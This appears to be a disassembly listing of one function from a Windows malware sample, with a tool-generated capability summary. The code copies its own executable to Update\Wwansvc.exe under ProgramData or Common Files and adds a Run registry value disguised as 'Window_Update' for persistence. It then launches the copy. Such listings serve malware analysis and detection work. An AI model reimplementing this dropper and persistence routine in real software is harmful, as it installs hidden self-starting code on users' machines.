Function at 0x402630
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Get file size
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x100
lea eax, [ebp - 0x104]
push eax
push 0
mov dword [ebp - 0x114], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push str.C:ProgramDataUpdate
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push connect
lea ecx, [ebp - 0x104]
push ecx
mov dword [ebp - 0x120], eax
call ebx
mov esi, eax
mov dword [ebp - 0x124], esi
cmp esi, 0xffffffff
je 0x40296b
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x110], eax
call fcn.004032eb
mov edi, eax
mov eax, dword [ebp - 0x120]
add esp, 4
mov dword [ebp - 0x11c], edi
test eax, eax
je 0x4027a2
cmp eax, 0xb7
je 0x4027a2
cmp eax, 3
jne 0x402844
push 0
push str.C:Program_FilesCommon_FilesUpdate
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.C:Program_FilesCommon_FilesUpdateWwansvc.exe
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40296a
mov eax, dword [ebp - 0x110]
push 0
lea edx, [ebp - 0x10c]
push edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x10c]
push ecx
push edx
push edi
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x10c]
push eax
push 4
lea ecx, [ebp - 0x118]
push ecx
push ebx
call esi
mov ecx, 0xe
mov esi, str._C:Program_FilesCommon_FilesUpdateWwansvc.exe___run
lea edi, [ebp - 0x104]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x124]
mov edi, dword [ebp - 0x11c]
mov dword [ebp - 0x114], 1
jmp 0x40284a
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.C:ProgramDataUpdateWwansvc.exe
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40296a
mov eax, dword [ebp - 0x110]
push 0
lea edx, [ebp - 0x10c]
push edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x10c]
push ecx
push edx
push edi
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x10c]
push eax
push 4
lea ecx, [ebp - 0x118]
push ecx
push ebx
call esi
mov ecx, 0xa
mov esi, str._C:ProgramDataUpdateWwansvc.exe___run
lea edi, [ebp - 0x104]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x124]
mov edi, dword [ebp - 0x11c]
mov dword [ebp - 0x114], 1
jmp 0x40284a
mov ebx, dword [ebp - 0x120]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push edi
call fcn.00402ee4
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 4
lea edx, [ebp - 0x108]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call esi
test eax, eax
je 0x402897
lea eax, [ebp - 0x108]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call esi
test eax, eax
jne 0x40295d
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028a0
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
mov edx, dword [ebp - 0x108]
push eax
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0
push str.Window_Update
push edx
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [ebp - 0x108]
push eax
call ebx
test esi, esi
je 0x402932
lea ecx, [ebp - 0x108]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402900
sub eax, edx
push eax
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
push edx
push 1
push 0
push str.Window_Update
push eax
call edi
mov ecx, dword [ebp - 0x108]
push ecx
mov esi, eax
call ebx
test esi, esi
jne 0x40296a
cmp dword [ebp - 0x114], 0
je 0x40296a
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret